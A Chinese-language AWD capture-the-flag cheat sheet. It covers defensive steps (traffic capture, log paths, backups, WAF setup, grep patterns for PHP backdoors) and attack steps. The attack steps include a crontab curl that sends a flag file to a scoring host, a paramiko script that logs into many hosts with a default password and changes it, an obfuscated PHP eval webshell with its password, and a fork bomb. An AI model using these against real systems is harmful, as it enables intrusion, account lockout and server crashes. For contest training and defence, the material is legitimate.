AWD 总结&分析
AWD 总结&分析
一:题目类型
1-出题人自己写的cms,为了恶心然后加个so。
2-常见或者不常见的cms。
3-一些框架漏洞,比如ph师傅挖的CI这种
二:题目漏洞类型
1-sqli居多
2-文件包含
3-各种rce
4-文件上传
三:拿flag方式
1-是向内网一台机器发送http请求,返回请求中包含flag。
2-是例如/home目录下放置flag文件。
四.防御
1.流量
sudo tcpdump -s 0 -w flow.pcap port 80
2.日志分析
日志地址
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
3.打包源码&备份数据库
# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz
# 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢复备份,在mysql终端下执行:
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密码
# 方法1:用SET PASSWORD命令
mysql> set password for 用户名@localhost = password('新密码');
# 方法2:用mysqladmin
mysqladmin -u用户名 -p旧密码 password 新密码
4.重置ssh密码
登陆后一个passwd
就可以
但其实还是有脚本的
比如批量改默认密码
#!/usr/bin/python
#-*-coding:utf-8-*-
import paramiko
import socket
def userssh_changepwd(ip,user,old_password,new_password):
# 建立一个sshclient对象
ssh = paramiko.SSHClient()
# 允许将信任的主机自动加入到host_allow 列表,此方法必须放在connect方法的前面
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=ip, port=22, username=user, password=old_password,timeout=5)
stdin, stdout, stderr = ssh.exec_command("ls ~")
s=str(stdout.read(),'utf-8')
for i in s.split('\n'):
if("flag" in i):
command1="cat ~/%s" %(i.strip())
stdin, stdout, stderr = ssh.exec_command(command1)
flag=str(stdout.read(),'utf-8')
print("%s-%s" %(ip,flag.strip()))
command = "passwd %s\n" %(user)
stdin, stdout, stderr = ssh.exec_command(command)
#\n模拟回车 输两次密码
stdin.write(old_password+'\n'+ new_password + '\n' + new_password + '\n')
out, err = stdout.read(), stderr.read()
#print(out)
successful = 'password updated successfully'
#print(out,err)
if successful in str(err):
print(ip + " 密码修改成功!")
else:
print('\033[31m错误:\033[0m' + str(err))
print(ip + " 密码修改失败!")
# 关闭连接
ssh.close()
except paramiko.ssh_exception.AuthenticationException as e:
print(ip + ' ' + '\033[31m账号密码错误!\033[0m')
with open('nossh.txt','a') as f:
f.write(ip + '\n')
except socket.timeout as e:
print(ip + ' ' + '\033[31m连接超时!\033[0m')
with open('timeoutssh','a') as f:
f.write(ip + '\n')
user="bee"
old_passwd="xbwkaliwin2003"
new_passwd="xbwkaliwin2008"
with open('ip.txt','r') as f:
for i in f.readlines():
host=i.strip()
userssh_changepwd(host, user, old_passwd, new_passwd)
5.部署waf
whatchwaf
说明:
-
下载最新release
-
将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
-
将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行
php watchbird.php --install [Web目录]
, 安装器将输出安装了watchbird的文件路径 -
访问任意启用了waf的文件, 参数
?watchbird=ui
打开watchbird控制台, 创建一个初始密码 -
如需卸载, 请在相同的位置输入
php watchbird.php --uninstall [Web目录]
, 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
ps:由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)ps:php7应该不支持,不要放到root目录下(awd模式下也不会有root权限)要放在对应网页权限的目录下(默认网页权限是www-data)比如/var/www/目录
6.查找后门
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
7.查找关键文件
#备份文件
find / -name "*.bak"
#config文件
find / -name "config.*"
8.干掉不死马
(1).ps auxww|grep shell.php
找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
(2).重启php等web服务
(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
(4).创建一个和不死马生成的马一样名字的文件夹。
五.攻击
1.crontab自动提交flag到平台
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
记得改token和目录
crontab路径
/var/spool/cron
2.扫描主机
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24
3.混淆过的一句话
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置填`n985de9=QGV2YWwoJF9QT1NUWzBdKTs=`
连接密码:0(零)
5.查看出题者后来改动的地方(一般漏洞是改出来的)
ls -t按修改时间来看最新被修改的文件
4.fork炸弹(直接摧毁服务器)
:() { :|: & };:
------------恢复内容结束------------